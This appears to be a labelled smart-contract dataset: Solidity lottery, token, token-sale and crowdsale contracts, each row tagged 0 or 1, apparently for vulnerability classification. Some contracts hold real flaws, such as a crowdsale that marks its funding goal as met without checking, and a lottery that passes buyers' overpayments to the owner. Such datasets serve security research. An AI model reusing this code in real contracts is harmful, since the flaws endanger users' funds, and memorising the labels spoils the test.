uint8 public constant fiveMatchPayoutInPercent = 11;
uint8 public constant ownerShareInPercent = 1;
uint8 public constant numTurnsToRevolve = 10;
string constant oraclizedQuery = "Sort[randomsample [range [1, 15], 7]], randomsample [range [0, 6], 1]";
string constant oraclizedQuerySource = "WolframAlpha";
bool public isLottoStarted = false;
uint32 public turn = 0;
uint32 public gasForOraclizedQuery = 600000;
uint256 public raisedAmount = 0;
uint8[] lottoNumbers = new uint8[](lottoLength);
uint8 bonusNumber;
enum lottoRank {NONCE, FIVE_MATCH, BONUS_MATCH, SIX_MATCH, DEFAULT}
uint256 public finishWhen;
uint256[] bettings;
uint256[] accNumBettings;
mapping(address => mapping(uint32 => uint64[])) tickets;
uint256[] public raisedAmounts;
uint256[] public untakenPrizeAmounts;
uint32[] encodedLottoResults;
uint32[] numFiveMatchWinners;
uint32[] numBonusMatchWinners;
uint32[] numSixMatchWinners;
uint32[] nonces;
uint64[] public timestamps;
bytes32 oracleCallbackId;
event LottoStart(uint32 turn);
event FundRaised(address buyer, uint256 value, uint256 raisedAmount);
event LottoNumbersAnnounced(uint8[] lottoNumbers, uint8 bonusNumber, uint256 raisedAmount, uint32 numFiveMatchWinners, uint32 numBonusMatchWinners, uint32 numSixMatchWinners);
event SixMatchPrizeTaken(address winner, uint256 prizeAmount);
event BonusMatchPrizeTaken(address winner, uint256 prizeAmount);
event FiveMatchPrizeTaken(address winner, uint256 prizeAmount);
modifier onlyOwner {
require(msg.sender == Owner);
_;
}
modifier onlyOracle {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier onlyWhenLottoNotStarted {
require(isLottoStarted == false);
_;
}
modifier onlyWhenLottoStarted {
require(isLottoStarted == true);
_;
}
function CryptoLotto() {
Owner = msg.sender;
}
function launchLotto() onlyOwner {
oracleCallbackId = oraclize_query(oraclizedQuerySource, oraclizedQuery, gasForOraclizedQuery);
}
function resumeLotto() onlyOwner {
require(finishWhen < now);
oracleCallbackId = oraclize_query(oraclizedQuerySource, oraclizedQuery, gasForOraclizedQuery);
}
function setGasForOraclizedQuery(uint32 _gasLimit) onlyOwner {
gasForOraclizedQuery = _gasLimit;
}
function __callback(bytes32 myid, string result) onlyOracle {
require(myid == oracleCallbackId);
if (turn > 0)
_finishLotto();
_setLottoNumbers(result);
_startLotto();
}
function _startLotto() onlyWhenLottoNotStarted internal {
turn++;
finishWhen = now + duration;
oracleCallbackId = oraclize_query(duration, oraclizedQuerySource, oraclizedQuery, gasForOraclizedQuery);
isLottoStarted = true;
numFiveMatchWinners.push(0);
numBonusMatchWinners.push(0);
numSixMatchWinners.push(0);
nonces.push(0);
LottoStart(turn);
}
function _finishLotto() onlyWhenLottoStarted internal {
isLottoStarted = false;
_saveLottoResult();
LottoNumbersAnnounced(lottoNumbers, bonusNumber, raisedAmounts[turn - 1], numFiveMatchWinners[turn - 1], numBonusMatchWinners[turn - 1], numSixMatchWinners[turn - 1]);
}
function _setLottoNumbers(string _strData) onlyWhenLottoNotStarted internal {
uint8[] memory _lottoNumbers = new uint8[](lottoLength);
uint8 _bonusNumber;
var slicedString = _strData.toSlice();
slicedString.beyond("{{".toSlice()).until("}".toSlice());
var _strLottoNumbers = slicedString.split('}, {'.toSlice());
var _bonusNumberIndex = uint8(parseInt(slicedString.toString()));
uint8 _lottoLowestNumber = lottoLowestNumber;
uint8 _lottoHighestNumber = lottoHighestNumber;
uint8 _nonce = 0;
for (uint8 _index = 0; _index < lottoLength + 1; _index++) {
var splited = _strLottoNumbers.split(', '.toSlice());
if (_index == _bonusNumberIndex) {
bonusNumber = uint8(parseInt(splited.toString()));
_nonce = 1;
continue;
}
_lottoNumbers[_index - _nonce] = uint8(parseInt(splited.toString()));
require(_lottoNumbers[_index - _nonce] >= _lottoLowestNumber && _lottoNumbers[_index - _nonce] <= _lottoHighestNumber);
if (_index - _nonce > 0)
require(_lottoNumbers[_index - _nonce - 1] < _lottoNumbers[_index - _nonce]);
lottoNumbers[_index - _nonce] = _lottoNumbers[_index - _nonce];
}
}
function _saveLottoResult() onlyWhenLottoNotStarted internal {
uint32 _encodedLottoResult = 0;
var _raisedAmount = raisedAmount;
for (uint8 _index = 0; _index < lottoNumbers.length; _index++) {
_encodedLottoResult |= uint32(lottoNumbers[_index]) << (_index * 4);
}
_encodedLottoResult |= uint32(bonusNumber) << (24);
uint256 _totalPrizeAmount = 0;
if (numFiveMatchWinners[turn - 1] > 0)
_totalPrizeAmount += _raisedAmount * fiveMatchPayoutInPercent / 100;
if (numBonusMatchWinners[turn - 1] > 0)
_totalPrizeAmount += _raisedAmount * bonusMatchPayoutInPercent / 100;
if (numSixMatchWinners[turn - 1] > 0)
_totalPrizeAmount += _raisedAmount * sixMatchPayoutInPercent / 100;
raisedAmounts.push(_raisedAmount);
untakenPrizeAmounts.push(_totalPrizeAmount);
encodedLottoResults.push(_encodedLottoResult);
accNumBettings.push(bettings.length);
timestamps.push(uint64(now));
var _ownerShare = _raisedAmount * ownerShareInPercent / 100;
Owner.transfer(_ownerShare);
uint32 _numTurnsToRevolve = uint32(numTurnsToRevolve);
uint256 _amountToCarryOver = 0;
if (turn > _numTurnsToRevolve)
_amountToCarryOver = untakenPrizeAmounts[turn - _numTurnsToRevolve - 1];
raisedAmount = _raisedAmount - _totalPrizeAmount - _ownerShare + _amountToCarryOver;
}
function getLottoResult(uint256 _turn) constant returns (uint256, uint256, uint32, uint32, uint32) {
require(_turn < turn && _turn > 0);
return (raisedAmounts[_turn - 1], untakenPrizeAmounts[_turn - 1], numFiveMatchWinners[_turn - 1], numBonusMatchWinners[_turn - 1], numSixMatchWinners[_turn - 1]);
}
function getLottoNumbers(uint256 _turn) constant returns (uint8[], uint8) {
require(_turn < turn && _turn > 0);
var _encodedLottoResult = encodedLottoResults[_turn - 1];
uint8[] memory _lottoNumbers = new uint8[](lottoLength);
uint8 _bonusNumber;
for (uint8 _index = 0; _index < _lottoNumbers.length; _index++) {
_lottoNumbers[_index] = uint8((_encodedLottoResult >> (_index * 4)) & (2 ** 4 - 1));
}
_bonusNumber = uint8((_encodedLottoResult >> 24) & (2 ** 4 - 1));
return (_lottoNumbers, _bonusNumber);
}
function buyTickets(uint _numTickets, uint8[] _betNumbersList, bool _isAutoGenerated) payable onlyWhenLottoStarted {
require(finishWhen > now);
var _lottoLength = lottoLength;
require(_betNumbersList.length == _numTickets * _lottoLength);
uint _totalPrice = _numTickets * lottoPrice;
require(msg.value >= _totalPrice);
for (uint j = 0; j < _numTickets; j++) {
require(_betNumbersList[j * _lottoLength] >= lottoLowestNumber && _betNumbersList[(j + 1) * _lottoLength - 1] <= lottoHighestNumber);
for (uint _index = 0; _index < _lottoLength - 1; _index++) {
require(_betNumbersList[_index + j * _lottoLength] < _betNumbersList[_index + 1 + j * _lottoLength]);
}
}
uint8[] memory _betNumbers = new uint8[](lottoLength);
for (j = 0; j < _numTickets; j++) {
for (_index = 0; _index < _lottoLength - 1; _index++) {
_betNumbers[_index] = _betNumbersList[_index + j * _lottoLength];
}
_betNumbers[_index] = _betNumbersList[_index + j * _lottoLength];
_saveBettingAndTicket(_betNumbers, _isAutoGenerated);
}
raisedAmount += _totalPrice;
Owner.transfer(msg.value - _totalPrice);
FundRaised(msg.sender, msg.value, raisedAmount);
}
function _getLottoRank(uint8[] _betNumbers) internal constant returns (lottoRank) {
uint8 _lottoLength = lottoLength;
uint8[] memory _lottoNumbers = new uint8[](_lottoLength);
uint8 _indexLotto = 0;
uint8 _indexBet = 0;
uint8 _numMatch = 0;
for (uint8 i = 0; i < _lottoLength; i++) {
_lottoNumbers[i] = lottoNumbers[i];
}
while (_indexLotto < _lottoLength && _indexBet < _lottoLength) {
if (_betNumbers[_indexBet] == _lottoNumbers[_indexLotto]) {
_numMatch++;
_indexBet++;
_indexLotto++;
if (_numMatch > 4)
for (uint8 _burner = 0; _burner < 6; _burner++) {}
continue;
}
else if (_betNumbers[_indexBet] < _lottoNumbers[_indexLotto]) {
_indexBet++;
continue;
}
else {
_indexLotto++;
continue;
}
}
if (_numMatch == _lottoLength - 1) {
uint8 _bonusNumber = bonusNumber;
for (uint8 _index = 0; _index < lottoLength; _index++) {
if (_betNumbers[_index] == _bonusNumber) {
for (_burner = 0; _burner < 6; _burner++) {}
return lottoRank.BONUS_MATCH;
}
}
return lottoRank.FIVE_MATCH;
}
else if (_numMatch == _lottoLength) {
for (_burner = 0; _burner < 12; _burner++) {}
return lottoRank.SIX_MATCH;
}
return lottoRank.DEFAULT;
}
function _saveBettingAndTicket(uint8[] _betNumbers, bool _isAutoGenerated) internal onlyWhenLottoStarted {
require(_betNumbers.length == 6 && lottoHighestNumber <= 16);
uint256 _encodedBetting = 0;
uint64 _encodedTicket = 0;
uint256 _nonce256 = 0;
uint64 _nonce64 = 0;
if (_isAutoGenerated) {
_encodedBetting |= uint256(1) << 1;
_encodedTicket |= uint64(1) << 1;
}
for (uint8 _index = 0; _index < _betNumbers.length; _index++) {
uint256 _betNumber = uint256(_betNumbers[_index]) << (_index * 4 + 2);
_encodedBetting |= _betNumber;
_encodedTicket |= uint64(_betNumber);
}
lottoRank _lottoRank = _getLottoRank(_betNumbers);
if (_lottoRank == lottoRank.FIVE_MATCH) {
numFiveMatchWinners[turn - 1]++;
_encodedBetting |= uint256(1) << 26;
_encodedTicket |= uint64(1) << 26;
}
else if (_lottoRank == lottoRank.BONUS_MATCH) {
numBonusMatchWinners[turn - 1]++;
_encodedBetting |= uint256(1) << 27;
_encodedTicket |= uint64(1) << 27;
}
else if (_lottoRank == lottoRank.SIX_MATCH) {
numSixMatchWinners[turn - 1]++;
_encodedBetting |= uint256(1) << 28;
_encodedTicket |= uint64(1) << 28;
} else {
nonces[turn - 1]++;
_nonce256 |= uint256(1) << 29;
_nonce64 |= uint64(1) << 29;
}
_encodedBetting |= uint256(msg.sender) << 29;
_encodedBetting |= now << 189;
_encodedTicket |= uint64(now) << 29;
tickets[msg.sender][turn].push(_encodedTicket);
bettings.push(_encodedBetting);
}
function getNumBettings() constant returns (uint256) {
return bettings.length;
}
function getTurn(uint256 _bettingId) constant returns (uint32) {
uint32 _turn = turn;
require(_turn > 0);
require(_bettingId < bettings.length);
if (_turn == 1 || _bettingId < accNumBettings[0])
return 1;
if (_bettingId >= accNumBettings[_turn - 2])
return _turn;
uint32 i = 0;
uint32 j = _turn - 1;
uint32 mid = 0;
while (i < j) {
mid = (i + j) / 2;
if (accNumBettings[mid] == _bettingId)
return mid + 2;
if (_bettingId < accNumBettings[mid]) {
if (mid > 0 && _bettingId > accNumBettings[mid - 1])
return mid + 1;
j = mid;
}
else {
if (mid < _turn - 2 && _bettingId < accNumBettings[mid + 1])
return mid + 2;
i = mid + 1;
}
}
return mid + 2;
}
function getBetting(uint256 i) constant returns (bool, bool, uint8[], lottoRank, uint32){
require(i < bettings.length);
uint256 _betting = bettings[i];
bool _isTaken;
if (_betting & 1 == 1)
_isTaken = true;
else
_isAutoGenerated = false;
bool _isAutoGenerated;
if ((_betting >> 1) & 1 == 1)
_isAutoGenerated = true;
else
_isAutoGenerated = false;
uint8[] memory _betNumbers = new uint8[](lottoLength);
for (uint8 _index = 0; _index < lottoLength; _index++) {
_betNumbers[_index] = uint8((_betting >> (_index * 4 + 2)) & (2 ** 4 - 1));
}
uint128 _timestamp;
_timestamp = uint128((_betting >> 189) & (2 ** 67 - 1));
uint32 _turn = getTurn(i);
if (_turn == turn && isLottoStarted)
return (_isTaken, _isAutoGenerated, _betNumbers, lottoRank.NONCE, _turn);
lottoRank _lottoRank = lottoRank.DEFAULT;
if ((_betting >> 26) & 1 == 1)
_lottoRank = lottoRank.FIVE_MATCH;
if ((_betting >> 27) & 1 == 1)
_lottoRank = lottoRank.BONUS_MATCH;
if ((_betting >> 28) & 1 == 1)
_lottoRank = lottoRank.SIX_MATCH;
return (_isTaken, _isAutoGenerated, _betNumbers, _lottoRank, _turn);
}
function getBettingExtra(uint256 i) constant returns (address, uint128){
require(i < bettings.length);
uint256 _betting = bettings[i];
uint128 _timestamp = uint128((_betting >> 189) & (2 ** 67 - 1));
address _beneficiary = address((_betting >> 29) & (2 ** 160 - 1));
return (_beneficiary, _timestamp);
}
function getMyResult(uint32 _turn) constant returns (uint256, uint32, uint32, uint32, uint256) {
require(_turn > 0);
if (_turn == turn)
require(!isLottoStarted);
else
require(_turn < turn);
uint256 _numMyTickets = tickets[msg.sender][_turn].length;
uint256 _totalPrizeAmount = 0;
uint64 _ticket;
uint32 _numSixMatchPrizes = 0;
uint32 _numBonusMatchPrizes = 0;
uint32 _numFiveMatchPrizes = 0;
if (_numMyTickets == 0) {
return (0, 0, 0, 0, 0);
}
for (uint256 _index = 0; _index < _numMyTickets; _index++) {
_ticket = tickets[msg.sender][_turn][_index];
if ((_ticket >> 26) & 1 == 1) {
_numFiveMatchPrizes++;
_totalPrizeAmount += _getFiveMatchPrizeAmount(_turn);
}
else if ((_ticket >> 27) & 1 == 1) {
_numBonusMatchPrizes++;
_totalPrizeAmount += _getBonusMatchPrizeAmount(_turn);
}
else if ((_ticket >> 28) & 1 == 1) {
_numSixMatchPrizes++;
_totalPrizeAmount += _getSixMatchPrizeAmount(_turn);
}
}
return (_numMyTickets, _numSixMatchPrizes, _numBonusMatchPrizes, _numFiveMatchPrizes, _totalPrizeAmount);
}
function getNumMyTickets(uint32 _turn) constant returns (uint256) {
require(_turn > 0 && _turn <= turn);
return tickets[msg.sender][_turn].length;
}
function getMyTicket(uint32 _turn, uint256 i) constant returns (bool, bool, uint8[], lottoRank, uint64){
require(_turn <= turn);
require(i < tickets[msg.sender][_turn].length);
uint64 _ticket = tickets[msg.sender][_turn][i];
bool _isTaken = false;
if ((_ticket & 1) == 1)
_isTaken = true;
bool _isAutoGenerated = false;
if ((_ticket >> 1) & 1 == 1)
_isAutoGenerated = true;
uint8[] memory _betNumbers = new uint8[](lottoLength);
for (uint8 _index = 0; _index < lottoLength; _index++) {
_betNumbers[_index] = uint8((_ticket >> (_index * 4 + 2)) & (2 ** 4 - 1));
}
uint64 _timestamp = uint64((_ticket >> 29) & (2 ** 36 - 1));
if (_turn == turn)
return (_isTaken, _isAutoGenerated, _betNumbers, lottoRank.NONCE, _timestamp);
lottoRank _lottoRank = lottoRank.DEFAULT;
if ((_ticket >> 26) & 1 == 1)
_lottoRank = lottoRank.FIVE_MATCH;
if ((_ticket >> 27) & 1 == 1)
_lottoRank = lottoRank.BONUS_MATCH;
if ((_ticket >> 28) & 1 == 1)
_lottoRank = lottoRank.SIX_MATCH;
return (_isTaken, _isAutoGenerated, _betNumbers, _lottoRank, _timestamp);
}
function getMyUntakenPrizes(uint32 _turn) constant returns (uint32[]) {
require(_turn > 0 && _turn < turn);
uint256 _numMyTickets = tickets[msg.sender][_turn].length;
uint32[] memory _prizes = new uint32[](50);
uint256 _indexPrizes = 0;
for (uint16 _index; _index < _numMyTickets; _index++) {
uint64 _ticket = tickets[msg.sender][_turn][_index];
if (((_ticket >> 26) & 1 == 1) && (_ticket & 1 == 0))
_prizes[_indexPrizes++] = _index;
else if (((_ticket >> 27) & 1 == 1) && (_ticket & 1 == 0))
_prizes[_indexPrizes++] = _index;
else if (((_ticket >> 28) & 1 == 1) && (_ticket & 1 == 0))
_prizes[_indexPrizes++] = _index;
if (_indexPrizes >= 50) {
break;
}
}
uint32[] memory _retPrizes = new uint32[](_indexPrizes);
for (_index = 0; _index < _indexPrizes; _index++) {
_retPrizes[_index] = _prizes[_index];
}
return (_retPrizes);
}
function takePrize(uint32 _turn, uint256 i) {
require(_turn > 0 && _turn < turn);
if (turn > numTurnsToRevolve)
require(_turn >= turn - numTurnsToRevolve);
require(i < tickets[msg.sender][_turn].length);
var _ticket = tickets[msg.sender][_turn][i];
require((_ticket & 1) == 0);
if ((_ticket >> 26) & 1 == 1) {
uint256 _prizeAmount = _getFiveMatchPrizeAmount(_turn);
require(_prizeAmount > 0);
msg.sender.transfer(_prizeAmount);
FiveMatchPrizeTaken(msg.sender, _prizeAmount);
tickets[msg.sender][_turn][i] |= 1;
untakenPrizeAmounts[_turn - 1] -= _prizeAmount;
} else if ((_ticket >> 27) & 1 == 1) {
_prizeAmount = _getBonusMatchPrizeAmount(_turn);
require(_prizeAmount > 0);
msg.sender.transfer(_prizeAmount);
BonusMatchPrizeTaken(msg.sender, _prizeAmount);
tickets[msg.sender][_turn][i] |= 1;
untakenPrizeAmounts[_turn - 1] -= _prizeAmount;
} else if ((_ticket >> 28) & 1 == 1) {
_prizeAmount = _getSixMatchPrizeAmount(_turn);
require(_prizeAmount > 0);
msg.sender.transfer(_prizeAmount);
SixMatchPrizeTaken(msg.sender, _prizeAmount);
tickets[msg.sender][_turn][i] |= 1;
untakenPrizeAmounts[_turn - 1] -= _prizeAmount;
}
}
function _getFiveMatchPrizeAmount(uint256 _turn) internal constant returns (uint256) {
require(_turn > 0 && _turn < turn);
uint256 _numFiveMatchWinners = uint256(numFiveMatchWinners[_turn - 1]);
if (_numFiveMatchWinners == 0)
return 0;
return raisedAmounts[_turn - 1] * fiveMatchPayoutInPercent / 100 / _numFiveMatchWinners;
}
function _getBonusMatchPrizeAmount(uint256 _turn) internal constant returns (uint256) {
require(_turn > 0 && _turn < turn);
uint256 _numBonusMatchWinners = uint256(numBonusMatchWinners[_turn - 1]);
if (_numBonusMatchWinners == 0)
return 0;
return raisedAmounts[_turn - 1] * bonusMatchPayoutInPercent / 100 / _numBonusMatchWinners;
}
function _getSixMatchPrizeAmount(uint256 _turn) internal constant returns (uint256) {
require(_turn > 0 && _turn < turn);
uint256 _numSixMatchWinners = uint256(numSixMatchWinners[_turn - 1]);
if (_numSixMatchWinners == 0)
return 0;
return raisedAmounts[_turn - 1] * sixMatchPayoutInPercent / 100 / _numSixMatchWinners;
}
function() payable {
}
} | 0 | 2,388 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is ERC20, SafeMath {
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success){
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused) ;
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract IndorseToken is SafeMath, StandardToken, Pausable {
string public constant name = "Indorse Token";
string public constant symbol = "IND";
uint256 public constant decimals = 18;
string public version = "1.0";
address public indSaleDeposit = 0x0053B91E38B207C97CBff06f48a0f7Ab2Dd81449;
address public indSeedDeposit = 0x0083fdFB328fC8D07E2a7933e3013e181F9798Ad;
address public indPresaleDeposit = 0x007AB99FBf023Cb41b50AE7D24621729295EdBFA;
address public indVestingDeposit = 0x0011349f715cf59F75F0A00185e7B1c36f55C3ab;
address public indCommunityDeposit = 0x0097ec8840E682d058b24E6e19E68358d97A6E5C;
address public indFutureDeposit = 0x00d1bCbCDE9Ca431f6dd92077dFaE98f94e446e4;
address public indInflationDeposit = 0x00D31206E625F1f30039d1Fa472303E71317870A;
uint256 public constant indSale = 31603785 * 10**decimals;
uint256 public constant indSeed = 3566341 * 10**decimals;
uint256 public constant indPreSale = 22995270 * 10**decimals;
uint256 public constant indVesting = 28079514 * 10**decimals;
uint256 public constant indCommunity = 10919811 * 10**decimals;
uint256 public constant indFuture = 58832579 * 10**decimals;
uint256 public constant indInflation = 14624747 * 10**decimals;
function IndorseToken()
{
balances[indSaleDeposit] = indSale;
balances[indSeedDeposit] = indSeed;
balances[indPresaleDeposit] = indPreSale;
balances[indVestingDeposit] = indVesting;
balances[indCommunityDeposit] = indCommunity;
balances[indFutureDeposit] = indFuture;
balances[indInflationDeposit] = indInflation;
totalSupply = indSale + indSeed + indPreSale + indVesting + indCommunity + indFuture + indInflation;
Transfer(0x0,indSaleDeposit,indSale);
Transfer(0x0,indSeedDeposit,indSeed);
Transfer(0x0,indPresaleDeposit,indPreSale);
Transfer(0x0,indVestingDeposit,indVesting);
Transfer(0x0,indCommunityDeposit,indCommunity);
Transfer(0x0,indFutureDeposit,indFuture);
Transfer(0x0,indInflationDeposit,indInflation);
}
function transfer(address _to, uint _value) whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint _value) whenNotPaused returns (bool success) {
return super.approve(_spender,_value);
}
}
contract IndorseSaleContract is Ownable,SafeMath,Pausable {
IndorseToken ind;
uint256 public fundingStartTime = 1502193600;
uint256 public fundingEndTime = 1504785600;
uint256 public totalSupply;
address public ethFundDeposit = 0x26967201d4D1e1aA97554838dEfA4fC4d010FF6F;
address public indFundDeposit = 0x0053B91E38B207C97CBff06f48a0f7Ab2Dd81449;
address public indAddress = 0xf8e386EDa857484f5a12e4B5DAa9984E06E73705;
bool public isFinalized;
uint256 public constant decimals = 18;
uint256 public tokenCreationCap;
uint256 public constant tokenExchangeRate = 1000;
uint256 public constant minContribution = 0.05 ether;
uint256 public constant maxTokens = 1 * (10 ** 6) * 10**decimals;
uint256 public constant MAX_GAS_PRICE = 50000000000 wei;
function IndorseSaleContract() {
ind = IndorseToken(indAddress);
tokenCreationCap = ind.balanceOf(indFundDeposit);
isFinalized = false;
}
event MintIND(address from, address to, uint256 val);
event LogRefund(address indexed _to, uint256 _value);
function CreateIND(address to, uint256 val) internal returns (bool success){
MintIND(indFundDeposit,to,val);
return ind.transferFrom(indFundDeposit,to,val);
}
function () payable {
createTokens(msg.sender,msg.value);
}
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (now <= fundingEndTime);
require (_value >= minContribution);
require (!isFinalized);
require (tx.gasprice <= MAX_GAS_PRICE);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
require (ind.balanceOf(msg.sender) + tokens <= maxTokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap,totalSupply);
uint256 tokensToRefund = safeSubtract(tokens,tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(CreateIND(_beneficiary,tokensToAllocate));
msg.sender.transfer(etherToRefund);
LogRefund(msg.sender,etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(CreateIND(_beneficiary, tokens));
ethFundDeposit.transfer(this.balance);
}
function finalize() external onlyOwner {
require (!isFinalized);
isFinalized = true;
ethFundDeposit.transfer(this.balance);
}
} | 1 | 4,635 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool public fundingGoalReached = false;
bool public crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event LogAmount(uint amount);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint weiCostOfEachToken,
address addressOfTokenUsedAsReward) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = weiCostOfEachToken * 1 wei;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
LogAmount(amount);
tokenReward.transfer(msg.sender, 2000 * (amount / price));
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 4,575 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
